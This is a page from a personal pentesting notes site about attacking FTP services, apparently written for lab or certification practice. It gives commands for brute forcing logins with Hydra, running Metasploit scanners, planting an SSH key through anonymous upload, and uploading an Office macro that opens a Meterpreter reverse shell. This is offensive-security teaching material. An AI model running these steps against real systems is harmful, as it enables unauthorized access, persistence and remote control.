Security Notes
  • Whoami
  • Pentesting
    • WEP-Pen
      • Reconnaissance
      • Enumeration
      • OWSAP TOP 10
        • Injection
          • Cross Site Scripting
            • Cross Site Scripting
            • Exploitation
            • Protections
          • SQL Injection
            • SQL Injection Overview
          • NoSQL Injection
          • CRLF Injection
          • XML Injection
        • Broken Access Control
          • Path Traversal
          • Sensitive Cookie with Improper SameSite Attribute
          • Link Following
          • Incorrect Default Permissions
          • Information disclosure
          • CSRF
            • csrf checklist
          • 403 bypass
          • Exposure of WSDL File Containing Sensitive Information
          • bussiness logic checklist
          • 2FA bypass checklist
          • admin panal checklist
          • idor checklist
          • Authentication checklist
          • reset_password_checklist
          • ATO
        • Cryptographic Failures
          • Cryptographic Failure
          • Weak Encoding for Password
          • Improper Following of a Certificate's Chain of Trust
            • Understanding Digital Certificates : Self-Signed and CA-Signed Certificate **
            • Transport Layer Security (TLS) and SSL **
          • Clear Text Transmission Of Sensitive Data
            • SSLStripping **
        • Insecure Design
        • Security Misconfiguration
          • CORS Miscofigration
          • Mail Server Misconfiguration
        • Vulnerable and Outdated Components
          • Using Components with Known Vulnerabilities
        • Identification and Authentication Failures
          • JWT Hacking
          • SAML Authentication bypass
        • Software and Data Integrity Failures
          • mass assignment
          • PostMessage Vulnerabilities
            • PostMessage Vulnerabilities
            • Blocking main page to steal postmessage
            • Bypassing SOP with Iframes - part 1
            • Bypassing SOP with Iframes - part 2
            • Steal postmessage modifying iframe location
        • Security Logging and Monitoring Failures
        • Server-Side Request Forgery (SSRF)
          • SSRF
      • Checklists
        • aem misconfiguration
        • exif_geo
        • xss
        • Session Management
        • Authorization
        • cookie
        • Django
        • Symfony
        • json
        • bypass rate limit
        • Rce
        • Register Page
      • eWPTXv2 Preparation
        • Encoding & Filtering
        • Evasion Basics
        • Cross-site scripting (XSS)
        • XSS Filter Evasion
        • Cross-site request forgery (CSRF
        • HTML5
      • API-Pen
        • API Discovry
        • Reverse Engineering API Documentation
        • Excessive Data Exposure
        • Vulnerability Scanning
        • API Authentication Attacks
          • Classic Authentication Attacks
          • API Token Attacks
        • API Authorization Attacks
          • Broken Object Level Authorization (BOLA)
          • Broken Function Level Authorization
        • Improper Assets Management
        • Mass Assignment
        • SSRF
        • Injection Attacks in API
        • Evasive Maneuvers
        • GraphQL Vulnerabilities
    • NET-Pen
      • Active Directory Pentesting
        • Active Directory Components
        • Initial Attack Vectors
          • LLMNR Poisoning
          • SMB Relay Attacks
          • IPv6 Attacks ( IPv6 DNS Takeover )
          • Printer Hacking
          • Methodology
          • Some Other Attacks
            • Zerologon (CVE-2020-1472)
            • PrintNightmare (CVE-2021-1675)
        • Post-Compromise Attacks
          • Pass Attacks
          • Kerberoasting Attack
          • Token Impersonation Attack
          • LNK File Attack
          • GPP / cPassword Attacks
          • Mimikatz
          • Methodology
        • We've Compromised the Domain
          • Dumping the NTDS.dit
          • Golden Ticket Attacks
          • Methodology
        • Case Study
        • Password Attacks
      • Attack Vectors by Port
        • FTP 21
        • SSH 22
        • Telnet 23 - 2323
        • SMTP 25
        • DNS 53
        • Kerberos 88
        • POP 110-995
        • RPC 111
        • Ident 113
        • NNTP 119
        • NetBIOS 137-138
        • SMB / Samba 135-139, 445
        • MSRPC 135
        • SNMP 161
        • LDAP 389,636
        • Modbus 502
        • OpenSSL 1337
        • Ms-SQL 1433
        • Oracle Listener 1521 1522 1529
        • NFS 2049
        • MySql 3306
        • RDP 3389
        • ADB Android Debug Bridge 5555
        • WinRM 5985 5986
        • VNC 5800 5900
        • Redis 6379
        • Unreal IRC 6667
        • Tomcat 8080
        • MongoDB 27017
        • http 80
      • Network basics
      • Information Gathering
      • Privilege Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
    • write-ups
      • How i found a Privilege Escalation via Impersonation Features feature
      • How I was able to discover ATO Via IDOR vulnerability
      • Easy full Account Takeover via Facebook OAuth Misconfiguration
Powered by GitBook
On this page
  • checklist
  • Download All Directories and Files
  • FTP Information Gathering
  • Brute Force FTP Login
  1. Pentesting
  2. NET-Pen
  3. Attack Vectors by Port

FTP 21

checklist

  • Anonymous login

  • OS version

  • Other software: Check Program Files, yum.log, /bin

  • Password files

  • DLLs: Use for msfpescan / BOF targets

  • Upload potential: Do you have the ability to upload files?

  • Can you trigger execution of uploads?

  • Swap binaries

  • Public exploits: Check for any public exploits for FTP server software

Download All Directories and Files

  1. Mirror FTP directories with anonymous login:

    wget --mirror 'ftp://ftp_user:redcliff@10.10.10.59'
  2. If PASV transfer is disabled:

wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
  1. If PASV is enabled:

bashCopy codesudo wget --mirror 'ftp://anonymous:anonymous@10.11.1.14'

FTP Information Gathering

  1. Grab FTP Banner via telnet:

    telnet -n 192.168.101.100 21
  2. Grab FTP Certificate if available:

    openssl s_client -connect 192.168.101.100:21 -starttls ftp
  3. Nmap FTP scan:

    • Scan FTP with scripts:

      nmap --script ftp-* -p 21 192.168.101.100
    • Basic FTP scan with version detection:

      nmap -sC -sV 192.168.101.162 --script=ftp-anon
    • Alternative (without brute forcing):

      nmap -p 21 --script="+ftp and not brute and not dos and not fuzzer" -vv -oN ftp > $ip
  4. Connect with Browser:

    ftp://anonymous:anonymous@192.168.101.100

Brute Force FTP Login

  1. Hydra Brute Force (Need Username):

    hydra -t 1 -l motherfucker -P rockyou.txt -vV 192.168.101.100 ftp
  2. Hydra with Sparta custom list (Requires Sparta tool):

    hydra -s 21 -C /usr/share/sparta/wordlists/ftp-default-userpass.txt -u -f > $ip ftp
  3. Msfconsole FTP scanning:

    msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' 
    msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' 
    msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' 
    msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' 
    msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'

SSH Key Deployment via FTP

  1. Generate SSH key:

    ssh-keygen
  2. Upload SSH key via FTP:

    ftp 10.10.10.10 anonymous:anonymous
    put /root/.ssh/id_rsa.pub authorized_keys
  3. SSH into target:

    ssh user@10.10.10.10

FTP Passive Mode Detection

  • Passive mode at login: Indicates potential presence of a firewall in the system.


Exploiting MS Office Evil Macros

First Stage: Set up Reverse Shell

  1. Search for Office macro:

    msfconsole --→ search office macro
    use /multi/fileformat/office_word_macro
  2. Set up Meterpreter reverse listener:

    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.119.177
    set disablepayloadhandler false
    run

Second Stage: Upload and Execute Macro

  1. Change file extension:

    sudo mv msf.docm msf.doc
  2. Start Meterpreter listener:

    set payload windows/meterpreter/reverse_tcp
    set exitonsession false
    set lhost 192.168.119.177
    set lport 4444
    run -j
  3. Upload via FTP:

    ftp 10.10.10.10 21
    put msf.doc
    exit
  4. Catch Meterpreter session.

PreviousAttack Vectors by PortNextSSH 22

Last updated 5 months ago